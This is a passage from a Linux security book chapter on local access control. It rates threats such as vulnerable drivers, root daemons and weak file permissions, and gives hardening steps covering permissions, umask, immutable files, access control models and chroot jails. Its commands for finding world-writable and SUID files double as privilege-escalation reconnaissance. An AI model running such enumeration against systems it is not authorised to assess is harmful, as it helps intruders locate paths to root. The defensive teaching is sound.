programmers to debug the code, it also allows attackers to debug the code and turn bugs into exploits and exploits into remote shells. Practically speaking, remote shell access is akin to physical access, and if attackers have shell access on a Linux box, they will eventually gain root access through some sort of privilege escalation or other locally exploitable vulnerability. Of particular interest are any devices capable of network traffic or sending and receiving a signal remotely. However, just about any driver or hardware device can be exploited and provide unintended access to a machine—particularly if attackers are given any kind of shell access, such as a local, unprivileged user account or a remotely accessible user account. The following are a couple of well-known module vulnerabilities that permit unintended users to gain full control of a system: CVE Reference
Description
CVE-2006-6385
Intel LAN driver buffer overflow local privilege escalation
CVE-2006-5379
Buffer overflow in NVIDIA binary graphics driver for Linux
Preventing Hardware, Driver, and Module Privilege Escalation To mitigate this threat, any unused hardware and its associated driver modules should be removed and all essential hardware and respective driver modules should be have the most up-to-date patches. Keeping all drivers up-to-date and all unused devices deactivated is also essential. You can remove modules using the rmmod command. Most modern, supported Linux distributions include a package manager that will perform this function automatically at a scheduled time, automatically when the package manager is run, or manually as needed. Novell Suse’s Yast or Red Hat’s Yum utilities perform this function quite well. To add more to the list of tasks to perform, modern Linux distributions are coming packaged with more preinstalled driver modules for greater hardware compatibility. This means you have to spend more time disabling various hardware items to enhance security. Some of the more hardened Linux distributions intended for use on security appliances only permit absolutely minimal hardware to function and do not even allow external media to be mounted by the machine. Although this may seem extreme and can certainly complicate the ability to provide legitimate access to the system, especially a workstation, it is an example of the hardening level available and appropriate for systems with critical functionality or sensitive data. Examples of hardened Linux distributions or hardening scripts include the following: • SELinux (http://www.coker.com.au/selinux/) • Astaro (https://my.astaro.com/download/)
Chapter 4:
Local Access Control
• Bastille (http://www.bastille-linux.org/) • Hardened Linux (http://hardenedlinux.sourceforge.net/) • EnGarde (http://www.engardelinux.org/)
Software Vulnerability Exploitation Popularity:
8
Simplicity:
5
Impact: Risk Rating:
10 8
An even greater threat than the stream of hardware drivers steadily being compromised by attackers is the unending and immeasurable quantity of software vulnerabilities identified and released daily that pour forth through RSS feeds to the desktops of security professionals and attackers alike. Unfortunately, the alarming rate at which software vulnerabilities are identified, made public, and included in Metasploit is undoubtedly dwarfed by the number of vulnerabilities and underground exploits that are identified but not made public—a disturbing thought. This unfortunate reality has given birth to entire suites of tools that streamline and simplify the process of discovering and exploiting software and driver/module vulnerabilities. One notable tool suite (Metasploit) reduces the process of exploiting identified vulnerabilities down to the script-kiddie or grandmother level of expertise. Metasploit and other (less functional) tools assist hackers (and grandmothers) at all skill levels in exploiting software vulnerable to buffer overflow attacks, with poor input validation, or susceptible to other sloppy coding-related attacks. The chief contributing factor to critical vulnerabilities and remote code execution exploits is poorly designed, sloppily coded, and undertested software. Unfortunately no software company can release perfect code to the general public. Any software of significant complexity will always have some vulnerability, regardless of developers talents and the company’s efforts. Software is designed for a particular purpose and quality assurance (QA) is generally done to assure that the software meets its intended functions within narrowly defined parameters. QA does not focus on, and can never fully explore, all the possible misuses of software and everything that can go wrong in its execution. Furthermore, most QA environments do not focus any resources on identifying and mitigating ways that software could be misused and/or abused. Additionally, if perfect code were a requirement, software would never be released. Besides, if the first version were perfect, the company could never sell you an upgrade.
59
60
Hacking Exposed Linux: Linux Security Secrets & Solutions
Preventing Software Vulnerability Exploitation Undoubtedly, software companies and developers could do much more to secure their code. For instance, bounds checking and better input validation on all code are a good start. Moreover, QA departments absolutely must design tests and dedicate resources to at least verify that proper input validation is in place and that buffers cannot be overflowed. More importantly, comprehensive planning and design to create a secure architecture and utilize secure coding practices are both prudent and seriously lacking. Even after vulnerabilities are identified, many software vendors are quite slow to respond, and it often takes significant negative feedback and adamant requests from the user community before vendors will allocate resources to fix vulnerabilities and release patches. This is certainly the case with many Linux applications. Subsequently, when software vendors do respond by releasing security patches, they are usually quite important. It is absolutely critical that all software be patched at the latest level—where security enhancements are included within the patches—and that any unneeded software be disabled or removed. This is particularly important for network listening applications, but can be true for any software installed on a machine. Just as with hardware and drivers, the more software installed on a machine, the more opportunities attackers have to find vulnerabilities and escalate their privilege. Ideally, machines should have the lowest profile possible by having as few daemons as possible. Additionally, all daemons (especially network-listening daemons) should have as few permissions allotted to them as permissible while still allowing them to function. This recommendation is contrary to the current trend in Linux distributions as they try to compete with Windows-based servers and desktops by installing an everincreasing number of applications by default. It is never a good idea to use a default Linux install (if given a choice). Instead, perform a custom installation providing only needed software applications. Depending on how the software was installed, the ways to remove it will differ. For software that was automatically installed using the respective package manager that comes with the operating system (Yast for Suse, Yum for Red Hat, apt-get for Debianbased systems, and so on), using the same package manager to remove it is probably the best way to go. For RPM systems, you can use the rpm command with the -e flag. The -e stands for erase. For other software that was compiled and installed manually, you will need to remove it manually, unless the installation tool includes a method for uninstalling it. Regardless, in Linux, removing software is as simple as deleting the binaries, their exclusive libraries, and any startup files that refer to them.
Chapter 4:
Local Access Control
Exploiting Daemons Running as Privileged Users Popularity:
8
Simplicity:
6
Impact:
8
Risk Rating:
7
It is important to remember that if a particular background process (daemon) gets compromised, attackers gain access to the machine at the assigned access level at which the daemon is running. Depending on how the system is configured, the damage could be minor or quite severe. This is where the principle of least access—(also known as the principle of least privilege (POLP)—comes into play. You can still commonly find daemons running as root, either because the systems administrator ran into problems when attempting to configure the daemon using a limited user account or because the daemon runs that way by default and was never hardened. If this is the case, the security of the system is only as good as the security built into the daemon itself, and once the security of the daemon is compromised, so is the entire system. Any file that is executable by a daemon can be run by attackers and every folder that is writable by the daemon will allow the daemon to upload files within it. If attackers take control of a daemon that is also permitted to run externally communicating daemons, like FTP, they can upload local exploits and run them to gain further access.
Mitigating Daemons Running as Privileged Users As part of the hardening process for any machine, perform a full audit, including a review of all running daemons, as well as the groups they belong to, and the file/folder permissions they have on the machine. In this way, you can understand exactly what access a user/daemon has to a machine and refine and restrict that level of access. For best security, all system daemons, especially those with listening ports, should run under their own user account that is granted specific, least access privileges to the system. No system daemons should be configured to run as root or any other privileged account. This can be a painstaking task, but the returns are well worth it. This security measure will defend against full system exploitation from attacks on daemon vulnerabilities. Some of the more refined Linux packages, like Novell’s Suse, include applications like AppArmor. AppArmor is an advanced program used for profiling an application, discovering how it should operate, and then restricting the application to the parameters of the respective profile.
61
62
Hacking Exposed Linux: Linux Security Secrets & Solutions
Figure 4-4 AppArmor Apache profiling
This technology borders on behavioral intrusion prevention system technology and dramatically streamlines the process of locking down many applications, such as daemons. Figure 4-4 demonstrates the profiling process. AppArmor allows you to step through the program and accept or deny certain types of behavior:
FILE PERMISSIONS AND ATTRIBUTES This section delves into the concepts surrounding file permissions and attributes. Significant vulnerabilities to security and confidentiality are built into Linux and its corresponding applications and utilities by default, all of which can be mitigated through proper configuration.
Chapter 4:
Local Access Control
Weak File Permission and Attribute Exploitation Popularity:
10
Simplicity:
10
Impact:
10
Risk Rating:
10
Linux machines commonly have ordinary user accounts not used for privileged administrative purposes. These accounts, by default, can be used to glean sensitive system data or data stored by other users and often make undesirable or dangerous changes to both. By default, file permissions usually permit users to have read access to most files on the system. Although this may be desirable for allowing everything on the system to function properly with minimal effort while restricting users from changing files they should not modify, it provides an avenue for attackers to perform an undesirable level of snooping. This is especially a concern if Owner, Group, and Everyone permissions are not set carefully in home directories or other locations of sensitive or personal files. If employees do not intend to share their files with a group of people, then the user account for the employee should belong to a primary group unique to the employee’s user account, perhaps with the same name as the user account. That way all files created by that user are also assigned to a group unique to that user. Below is a default, unprivileged user account, test1, and an example of the default Owner/Group/Everyone permissions assigned to files created by test1: test1@linux:/home/test1> touch testfile1 test1@linux:/home/test1> ls -l total 0 -rw-r--r-- 1 test1 users 0 Oct 10 11:29 testfile2 test1@linux:/home/test1>
Notice that even though the file is owned by test1, the users group can read it, which all new users are assigned to by default, and the Everyone group can also read it. This is not conducive to confidentiality but is easily remedied.
Securing File Permissions and Attributes The importance of providing reasonable security through file permissions and attributes simply cannot be overstated. They are the first and sometimes the last line of defense from unintended changes to the file system when security holes are discovered in software and/or when an attacker gains physical access to a machine. Depending on the depth to which security is implemented in file permissions and attributes, attackers may be significantly delayed or prohibited altogether, depending upon their skill level and determination.
63
64
Hacking Exposed Linux: Linux Security Secrets & Solutions
Standard User Permissions Just as the user permissions for daemons need to be thoughtfully planned out, configured, and audited, the user permissions for standard, unprivileged users need to be treated similarly. Confidentiality is definitely a concern that can and should be addressed when setting and auditing user permissions. The following are methods to prevent exploitation and data leakage due to weak file permissions. As root, create a user-specific group test1 and assign it to the test1 user account: linux:~ # groupadd test1 linux:~ # usermod -g test1 test1
Observe the Group permissions automatically assigned to the file testfile in the following example, when created by the user test1 with the new Group settings: test1@linux:~> touch testfile test1@linux:~> ls –l total 0 -rw-r--r-- 1 test1 test1 0 Oct 10 11:30 testfile
While this is a good start, you need to modify the above file permissions to prevent Everyone from accessing the file. You do this easily using chmod: test1@linux:~> chmod 640 testfile test1@linux:~> ls –l total 0 -rw-r----- 1 test1 test1 0 Oct 10 11:31 testfile
Now, only the intended owner of the files (and root) has any level of access to them (read, write, or execute). This is a fine solution if users are the only parties that need access to their own files, but different configurations need to be made if users intend to share their files with others without having to change permissions each time they want to share the files. If users are supposed to share files with others in their department, then a departmental group should be created and all users in the department should be assigned to that group as their primary group. If all users are assigned to the same group, all files they create will be given read permission for members of the respective group but greater permissions must be assigned to files to be written by the group.
Umask Chmod is a great tool for making changes manually, on an occasional basis. If all files created within a particular environment need to have a specific set of permissions, umask is a great utility to automate the permissions assignment. The standard umask permissions for files and folders created in an environment is 0022, which means that files created will be assigned permissions of 644 (rw-r--r--)
Chapter 4:
Local Access Control
and folders will have 755 (rwxr-xr-x). A more secure umask setting would be 0037. This forces files to be created with permissions of 640 (rw-r-----) and folders to have 750 (rwxr-x---), creating a situation where confidentiality is assumed and applied by default. For configuration steps and proof-of-concept results, see the following example: linux:/home/test1/umask_folder # umask 0022 linux:/home/test1/umask_folder # umask 037 linux:/home/test1/umask_folder # umask 0037 linux:/home/test1/umask_folder # su test1 test1@linux:/home/test1/umask_folder> touch testfile test1@linux:/home/test1/umask_folder> ls -l total 0 -rw-r----- 1 test1 test1 0 Oct 10 11:40 testfile
The umask utility, however, makes changes that can have far-reaching, unforeseen consequences, such as processes on the server no longer functioning at all or as intended. After the desired changes have been made, verify that operations still function on the server as intended. Additionally, because umask configurations require that an entry be inserted in the shell’s rc-file (profile, bash, and so on) to be durable, inspect these locations and modify as needed. If you don’t do this, when you reboot the machine, the previous umask configurations will be restored.
Undesirable Access Enumeration As we’ve already established, the best policy is to only grant users the specific access to the system and its contents that they absolutely need. Next, you need to identify all files on the system that could possibly be accessed or modified by unintended users and used to the detriment of the confidentiality, integrity, or security of the system and its contents. You should consider several items. First, identify all files that are world writable, which could potentially pose a risk to the confidentiality, integrity, or security of the system or its data, if modified. World-Writable Files The following command will review the file system and identify world-writable files and directories, which malicious users could modify and possibly use to escalate their privileges on the system. For the sake of brevity in this example, the command is limited to the contents of the /tmp folder, but you could choose any folder, even the /(root) directory itself: linux:/tmp # find /tmp -perm -o=w /tmp /tmp/world_writable /tmp/.X11-unix /tmp/.ICE-unix
65
66
Hacking Exposed Linux: Linux Security Secrets & Solutions
Compare the previous output to the following ls output and notice that it successfully identifies the world-writable files, while ignoring the owner-writable file with more restrictive permissions: linux:/tmp # ls -al total 0 drwxrwxrwt 4 root root 140 Mar drwxr-xr-x 10 root root 220 Mar drwxrwxrwt 2 root root 60 Mar drwxrwxrwt 2 root root 60 Mar -rwx------ 1 root root 0 Mar -rwxrwxrwx 1 root root 0 Mar
World-Executable Files Just as you must identify files that are world-writable, you must also enumerate all binaries on a system that can be executed by a restricted user account and possibly used to escalate the permissions of the restricted account either directly or indirectly. The following command will enumerate all binaries in the /bin directory that can be executed by any user on the system: linux:/bin # find /bin -perm -o=x /bin /bin/ash /bin/awk /bin/basename /bin/bash /bin/bunzip2 /bin/bzcat /bin/bzip2 /bin/bzip2recover /bin/cat /bin/chgrp /bin/chmod /bin/chown /bin/chroot ~~~~~~~~~~~~Truncated~~~~~~~~~~~~~~~~~~~~~~~ /bin/unlink /bin/users /bin/vdir /bin/wc /bin/which /bin/who /bin/whoami /bin/yes /bin/ypdomainname /bin/zcat
Chapter 4:
Local Access Control
Although this may not seem to pose an immediate threat, combining world-writable files and folders with utilities such as tftp, Netcat, or others can lead to attackers using the limited access provided to them to upload the resources to the system that are necessary for them to gain root access. SetUID/SUID/SGID Bits In certain distributions and installations of Linux, SetUID/SUID/ SGID bits are set to allow a binary to run with root permissions and reliably function on the system. This ensures the binaries never encounter any permissions issues while accomplishing their specific tasks, as they have full access to system resources. It also provides the ultimate in accessibility for legitimate users and attackers alike. Despite being a bad idea from the start and having been written about extensively, you still commonly see this configuration today. You certainly need to audit this item, especially with the increased attention that process and driver vulnerabilities are being given in today’s exploits. As part of performing a security audit of any system, searching for anything with SetUID/SUID/SGID bits set is essential. Use the following two commands to perform this search: SetUID/SUID: find / -type f -perm 04000 -ls
SGID: find / -type f -perm 02000 –ls
Once you’ve identified binaries that have SetUID/SUID/SGID bits set, you can remove them with the following commands. Be very careful, however! Make sure you test the system fully after making modifications such as these, as they can have farreaching effects: SetUID/SUID: chmod –R u-s /var/directory/ chmod u-s /usr/bin/file
Restrict Ability to Make System Changes One of the best security enhancements for a Linux environment is to restrict or eliminate the ability to make any changes to it. After a Linux box is completely set up, dialed in, and hardened, start eliminating anything that can be used to alter, debug, or reverse engineer it. After properly planning and testing file permissions and attributes, identify all files that absolutely do not need to change, such as critical system files (or any other file that must not change), and make them immutable.
67
68
Hacking Exposed Linux: Linux Security Secrets & Solutions
Immutable files are files with the immutable flag set (using the chattr command), and these files cannot be modified or deleted, even by root, unless the flag is removed. Set the immutable flag as follows: chattr +i /var/test_file
The immutable attribute can be identified using the lsattr command. If the immutable flag is set, the output will contain an i in the listing: lsattr test_file ----i--------
test_file
Next, remove the compiler. If the intent of a particular box is to be completely hardened and to function without being modified for a significant period of time, there is no reason to leave a development environment installed, as it will likely only be used for no good. If attackers happen to get some level of access on the box, you don’t want to give them anything that makes their job any easier. On the same note, once the hardware is installed and working properly, the box does not need to have loadable kernel module support enabled. In a stable system that has no need of any hardware upgrades or module updates, this functionality will likely be used to reduce security, not increase it. Installing a rootkit is a good example of reducing security. Remove write access from all static files and set the immutable flag on unchanging system files and utilities. Take care not to remove write access to logs or other dynamic files. If access is needed later, you can always grant it using root permissions. Finally, eliminate as many debugging or reverse engineering utilities as possible. They can all be used for illegitimate purposes by attackers. Particularly, if the box is physically accessible, you do not need to have them installed since they can be run from CD in a statically compiled or self-contained CD environment.
Data Integrity There are several automated and manual data integrity tools in the marketplace. Some come free with Linux distributions and some are offered as enterprise solutions and can cost tens of thousands of dollars. Some require $3,000 training courses and others have man pages. There is even well-known forensic software capable of running against Linux nodes, which offers the benefit of being able to profile systems before an attack and identify uploaded, malicious, altered, or hidden files or processes after an attack. The sky is the limit concerning functionality. Whatever method is used to oversee an environment, or recommend or implement as part of an audit, you should follow some basic guidelines to ensure that the data integrity system is functioning properly. First, double-check the files being monitored and make sure they encompass all of the critical system files. Also check that no additional critical system files have been added as a result of an upgrade, security patch, or installation of additional software. You should review this whenever patches or upgrades are performed or whenever new software is installed.
Chapter 4:
Local Access Control
Second, and more specifically, ensure that only critical system files are being monitored. Many organizations and administrators have a bad habit of performing data integrity checking on too many files and end up ignoring the scans because of it. Third, ensure that the data integrity process is run and updated with reasonable frequency. Scans should happen often enough to catch problems before they get too big, but not be so overly burdensome as to cause them to be ignored. Furthermore, run an integrity verification scan immediately before patches or new software installations (to verify the system is in a clean state) and immediately afterward (to update the database with the new data regarding the updated files). Finally, ensure the database is backed up from the system that is being monitored. Attackers can gain access to the system and alter the file hash database (if administrators are careless with their password choices) or corrupt/delete it and render it useless. Gold Image Baselines The next step in data integrity is to incorporate all of the measurable critical and functional aspects of a system into a single profile. This profile includes all the items in traditional data integrity but needs to be much more comprehensive. In addition to hash sets in the gold image baseline, the following should also be included: • All running processes (including full path) • Process accounts • System libraries (including full path) • Open files (including full path) • User accounts (/etc/passwd) and groups (/etc/group) • The /etc/shadow file • Loaded modules • Installed devices • File permissions/ • File flags (such as immutable) • A bit stream image of the operating system drive(s) • The files contained in the /etc/init.d directory • A record of the symbolic links associated with the files in /etc/init.d • Any other configuration files (of which there are sure to be many) This image provides a comprehensive picture of the state of the system before any changes are made so you can use it for comparison at a later time. Although you can’t assume that everything that has changed on the respective system is malicious, this gives you a good place to start and will at least eliminate certain files that you know are good. Furthermore, if the state of the system is captured in a known good state, you can use it for more than a malicious incident response. Gold image baselines are often very useful
69
70
Hacking Exposed Linux: Linux Security Secrets & Solutions
in correcting simple misconfigurations, rather than more dramatic attacks. They are actually part of a more comprehensive disaster recovery and business continuity plan. Gold image baselines should be stored in a secure location to prevent tampering or snooping, just as with other data integrity packages. They should also be included in your incident response kit for respective systems. Probably the most well-known and tested resource for creating baselines is Tripwire. However, it does not perform all of the baselines required to create a true, gold image baseline. You can supplement with other tools, native utilities, or custom scripts to make up the difference, or you can use a comprehensive forensic and incident response tool like EnCase Enterprise Edition to perform all tasks within a single utility that you can store for later comparison in a single location.
Access Control Models There are three access control models primarily in use today. These models are commonly used to control users rights to various resources. These resources can range from highlevel business processes to low-level system object access. These access control models also range in administrative overhead from practically nothing to highly resource intensive (at one or more stages), depending on the amount of initial or recurring oversight they require. The corresponding level of security they provide also ranges from practically nothing to complying with best security practices. The three models are as follows: • Discretionary Access Control (DAC) Allowing access controls to be configured by the respective data owners. Data owners have complete control over the files they create. This control model is the default for Linux. • Mandatory Access Control (MAC) Denying data owners’ full control of the data they create and having access controls managed and configured by administrative personnel. Users and files are assigned a security level and users can only access files having a security level that is equal to or less than their own. • Role-Based Access Control (RBAC) Assigning access to data, applications, and business processes based on users’ roles within the organization or their individual function over the data, applications, and business processes. When performing an audit and making decisions about implementing the best access control model(s) for various resources, sufficient thought must be given to the value of the resources being secured and the cost required to secure them. This thought process should, however, take into consideration not only the value of the resources being secured, but also the impact on the organization and its customers if compromised. The value of the item being protected is not necessarily limited to its inherent intrinsic value. Appropriate weight must be given to its perceived value and cost to the company in goodwill and/or reputation if it were compromised, as well as impact on its customers.
Chapter 4:
Local Access Control
For instance, even if a company resource does not contain highly sensitive data (from a regulatory perspective, such as credit card or bank account numbers), but is publicly accessible or may contain data embarrassing to its customers, it is prudent to harden it from intrusion. Company message boards are a good example. They seldom contain truly sensitive data, but if a message board server is compromised, the only part of the headline “Company X Message Board Hacked” that people will remember is “Company X Hacked.” Furthermore, customers often post sensitive items to technical message boards, revealing vulnerabilities, particularly if the boards are security- or informationtechnology-infrastructure related. If such a message board were compromised, vulnerabilities regarding customers could be identified and possibly exploited. Discretionary Access Control DAC is the simplest access control model, has the lowest administrative overhead, and provides the lowest level of security. It is based on the assumption that owners should be allowed to control their own data. Owners have a free and unfettered ability to provide any level of access to others (or not) and are also free to directly (or accidentally) create, modify, and delete any of their own data. They are also free to modify and delete the data of other owners to which they have been assigned sufficient permissions. The only real safeguards against data loss are user responsibility, a good backup scheme, and/or data recovery (or computer forensic) software. This access control model is probably the most common due to its ease of use and lack of administration, thus contributing to the success of the data recovery software industry and also providing easy targets for hackers. The only security features or access controls implemented in this model are those configured by the data owners. By placing full control with data owners, there is an implied trust that the data owners will make wise and prudent decisions in their stewardship over the data, applications, or business processes. For these reasons, this access control model should not be used for business-critical or sensitive data processes. Time has proven that data owners are not necessarily the best stewards over sensitive and business-critical data. In environments where DAC is used for sensitive resources, data loss and unauthorized (or unintended) access are common. Mandatory Access Control MAC is a newer and much more sophisticated access control model than DAC, requiring more significant administrative configuration and control. It takes full control of data away from owners and places it with administrative personnel who assign owners only the level of access required. It prevents owners from granting a less restrictive permissions assignment to resources than was assigned by administrative personnel and prevents users at one level from accessing data at a different level. Furthermore, data owners are no longer free to grant permissions to others; what they are able to do with their own data is often restricted. For instance, many implementations of MAC enable owners to create data, but not delete it, protecting owners from themselves as well as others. Essentially, MAC protects data, processes, and applications from misuse, abuse, simple mistakes, or malfeasance. Its function lies somewhere between a patch for
71
72
Hacking Exposed Linux: Linux Security Secrets & Solutions
ignorance and a shield against attack. Its goal is to create a carefully planned architecture where the required level of access is specifically granted for each resource, thereby creating an environment where users have the permissions they need—nothing more, nothing less. This model requires a tremendous amount of administrative overhead to make the necessary configurations to various resources, whether they are file systems, devices, applications, or business processes. Administrative personnel need to thoughtfully and methodically map how users will access resources and grant appropriate access accordingly. In newer distributions of Linux, a MAC feature is built into the kernel. Various Linux distributions have other, more specific MAC packages that provide enhancements over the features added to the kernel Role-Based Access Control RBAC is a newer, alternative access control model leveraging the strength of granular access configuration created by MAC, but providing greater scalability through the creation of roles. Instead of assigning users specific access to resources, resource assignments are made to the various types of roles that exist within an organization. Users are assigned a specific role for each resource access requirement. Roles should be set up specifically for each system, application, or device. They should not span multiple systems, applications, or devices. It is bad form and not considered best practice to assign a single role to multiple systems, applications, or devices. A substantial number of permission permutations already exist within a single system and trying to combine the permissions of several heterogeneous systems within a single role becomes cumbersome and is rife with problems. To increase the granularity of role assignments and provide greater configurability: • Users can be assigned numerous roles. • Roles can be assigned multiple users. • Roles can be assigned numerous permissions. • Permissions can be assigned to multiple roles. This effectively creates a many-to-many relationship granting all possible permission permutations, but through a simplified methodology of grouping the permissions assignments into corresponding roles. This approach requires significantly more time to set up in order to completely map out the various roles that apply to resources, as well as all of the resources that exist within an environment. But once the resources have been defined and roles created, the time required to grant new users specific access rights across various resources in the environment is substantially reduced. Various secure Linux distributions and patches that provide a variety of RBAC measures are available. As of the 2.6 kernel, Security Enhances Linux, by the NSA, or SELinux, has been built into the Linux kernel and provides measures for RBAC.
Chapter 4:
Local Access Control
GRSecurity also has several patches available for download that minimize configuration for creating a robust RBAC system.
Chrooting The amount of work that goes into securing a system can be partially mitigated by taking advantage of the chrooting abilities built into certain applications or by using the chroot feature that is included or can be compiled into Linux. Chroot is a combination of two words: change and root. As the name implies, chrooting changes the root directory of logged-on users or applications. It creates a sandboxed, virtual directory that is used to provide a user or an application access to only a limited subset of resources. Certain daemons, such as FTP and SSH, have the built-in or add-in ability to sandbox users in a carefully crafted “chrooted” environment. This provides users with an emulated and simplified file structure and includes only the executables, libraries, configuration files, and so on, as needed. More specifically, when users log in to a chrooted system, they are not actually allowed to peruse the computer’s real file system. The root directory they are able to view is really a subdirectory that has been assigned to them and includes all of the executables and dependencies needed to perform their intended functions. Theoretically, the chrooted users cannot gain direct access to areas outside the chrooted, or sandboxed, environment. However, some hard links between files or directories within a chrooted environment to files or directories outside the chrooted environment may exist, leading to users’ ability to escape the chroot jail in ways that would not otherwise have been available to them, if symbolic links had been used instead. Chrooting for applications like OpenSSH, however, is quite a bit easier than other applications, as OpenSSH initializes itself first and performs chroot() later. This means that a less comprehensive chroot environment is necessary. Other applications are chrooted in a variety of other ways, mainly through the use of a configuration option or with the chroot() command-line tool. Similar to FTP’s and SSH’s native (or add-in), configurable chrooting ability, many daemons provide a similar ability, except it is intended only for the user account that the daemon runs as. This means that if attackers gain control of a chrooted daemon, they are limited to the sandboxed environment. Apache is a good example of a daemon that has this built-in ability and is commonly used to protect web servers. Numerous other server applications, particularly network listening web applications, have the ability to run in a chrooted environment. However, for any of these applications to function properly, all of their configuration files and dependencies must be copied into the chrooted environment in the same directory structure as would exist on the normal file system.
Identifying Dependencies The process of identifying and copying application dependencies and configuration files can be painstakingly performed using various Linux tools, such as the following.
73
74
Hacking Exposed Linux: Linux Security Secrets & Solutions
• strace A utility designed to trace all syscalls and executable makes. It will enumerate all files (configuration files, library dependencies, open files, output files) for a given executable. It shows voluminous output as it systematically steps through a binary as it executes. linux:/bin # strace sshd access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=82284, ...}) = 0
• ldd A utility used to enumerate library dependencies of executable files, but it does not enumerate configuration files or open files. linux:/bin # ldd sshd linux-gate.so.1 => (0xffffe000) libwrap.so.0 => /lib/libwrap.so.0 (0x4002d000) libpam.so.0 => /lib/libpam.so.0 (0x40035000)
• lsof A utility used to list all open files in use by a given daemon. linux:/usr/sbin # lsof | grep sshd sshd 7587 root cwd DIR 3,3 sshd 7587 root rtd DIR 3,3 sshd 7587 root txt REG 3,5 /usr/sbin/sshd sshd 7587 root mem REG 3,3 /lib/ld-2.3.3.so sshd 7587 root mem REG 3,3 /lib/libwrap.so.0.7.6
656 656 350762
2/ 2/ 45539
107969
116
36895
67
It is generally good practice to use several tools to validate data. It ensures a comprehensive understanding of how a daemon operates and provides the opportunity to vet the output of one utility with another. The entire process of enabling applications to function within a chrooted environment can be simplified somewhat by statically compiling the applications (i.e., compiling all of the library dependencies into the daemon so external resources aren’t required), which is a kind of hack and tends to take up more space on the file system, but it can make the entire operation easier.
Statically Compiling Binaries Creating statically compiled binaries is more of an art than a science (and is not always possible), and the act of trying to build a large number of statically compiled binaries can be inexact and difficult. You can use several different methods to compile static binaries, but despite using the apparently correct argument to build a statically compiled binary, you have no assurance of actually getting one. However, in most cases, the process goes smoothly and generally proves to simplify the chrooting process, as statically compiled binaries can simply be copied to each
Chapter 4:
Local Access Control
chrooted directory without having to consider their underlying dependencies. Furthermore, updates are also simplified. The flags for creating statically compiled binaries are given in one of two locations: either from the ./configure portion of the build or the make portion of the build, depending on the design of the application. Following are several common, simplified examples. From the ./configure command: ./configure –-static
From the make command: make CC="gcc -static"
or make -e LDFLAGS=-all-static
As stated earlier, specifying the documented correct flag does not guarantee a statically compiled binary. You must verify that the binary was successfully compiled using ldd or a similar utility: mail:/opt/static # ldd bash not a dynamic executable
The above output indicates that the bash binary was statically compiled successfully. But, all too often, you discover that the binary still has dynamic links: mail:/opt/static # ldd /bin/bash linux-gate.so.1 => (0xffffe000) libreadline.so.4 => /lib/libreadline.so.4 (0x4002d000) libhistory.so.4 => /lib/libhistory.so.4 (0x40059000) libncurses.so.5 => /lib/libncurses.so.5 (0x40060000) libdl.so.2 => /lib/libdl.so.2 (0x400a5000) libc.so.6 => /lib/tls/libc.so.6 (0x400a9000) /lib/ld-linux.so.2 (0x40000000)
Adding Files and Dependencies to Chroot Jail When adding files to the chroot jail, keep in mind the idea is to limit what goes into the jail as much as possible. With every file you add, determine if the file is absolutely necessary for the environment or if it is being added for convenience. Always go through whatever extra steps are necessary to ensure that no shortcuts are taken and that the jail truly contains only what it needs.
75
76
Hacking Exposed Linux: Linux Security Secrets & Solutions
What should exist in the environment is a simplified copy of the regular file system. It will at least have the following folders and probably more, depending on the daemons running in the chrooted environment: /chroot/daemon_name/bin /chroot/daemon_name/dev /chroot/daemon_name/etc /chroot/daemon_name/lib /chroot/daemon_name/var /chroot/daemon_name/var/run
Having said that, be cognizant of the purpose of the jail and never add files or functionalities that would aid in escaping the jail. There is no point in having a chroot jail stocked with all of the functionality necessary to escape. Adhere to the following guidelines: • Never put a compiler in the jail, as it will almost certainly be used for no good. • Never put a Perl interpreter in the jail, as it is essentially a compiler. • Never have sudo in the chroot jail, as it entirely defeats the purpose of chrooting. • Ensure all of the executables and dependencies in the jail are not vulnerable to any kind of exploit as this could allow attackers to escape the jail. • Don’t include anything that must run as root to operate. • Don’t include anything that uses SUID. • Prevent any writing or modification to the environment, if possible.
Chrooting Devices Moving daemons and dependencies to a chrooted environment is the first step. The next step is to create devices for the chrooted environment. This is necessary because the /dev directory is not accessible from within the chroot jail. So, all of the devices used by the user or daemon must be created within the jail. Just as with enumerating files and library dependencies, strace (or truss) can be helpful in stepping through an executable as it executes and noting the devices it tries to access. However, given that strace (or truss) may not show all devices required unless you perform all possible flag permutations exhaustively, using the strings utility on each daemon can also be helpful for enumerating devices. If that does not work, the best recourse is to check various log files for errors and hints related to required devices. Following is a common list of devices that will likely need to be included: /dev/null /dev/zero
To create these devices within the jail, the first step is to find out all of the details about the required devices using the following command: mail:~ # ls -lL /dev/null crw-rw-rw- 1 root root 1, 3 Jun 30
2004 /dev/null
There are three significant items to note in this output. First, note the first letter in the output. It will either be a b (for “block” device) or c (for “character” device). Second, note the first number in the output after the group membership (in this case a 1). This signifies the “major” number. Third, note the number following the “major” number, which is the “minor” number. Armed with this information, the chrooted device can now be created within the jail: Mail:~ # mknod null c 1, 3
Setting Chroot Directory The best way to set this up is aggressively. As you have no good reason for the daemon within the jail to operate as root, use the setuid command to specifically set the real UID to something other than zero. Running chroot() should give output similar to the following: chdir ("/chroot/daemon_name"); chroot("/chroot/daemon_name"); setuid(Non-zero UserID);
The most significant portion of the output is the last line, which sets the user ID. Its value should be the user ID of a user on the system that has the absolute least permissions. If this is set properly, users should have no way to obtain root privileges on the system, unless a vulnerability is found within the environment or utilities enabling the daemon to escape are carelessly added to it. Oftentimes, developers use the seteuid() call as a shortcut, instead of the setuid() call, but this is a mistake as it only sets the effective user ID. If the real UID is 0, users can change their own effective user ID back to 0, even if they currently have the effective UID
77
78
Hacking Exposed Linux: Linux Security Secrets & Solutions
of an unprivileged user. Essentially, root can grant itself permissions that it does not currently have since it is the superuser. Developers should consider this carefully since privilege escalation in this scenario can be trivial and the price of shortcuts costly. The seteuid() call should not be used as a security measure, but to allow the user to perform tasks that cannot be done as an unprivileged user. Though undesirable to employ at all, sometimes you cannot avoid it.
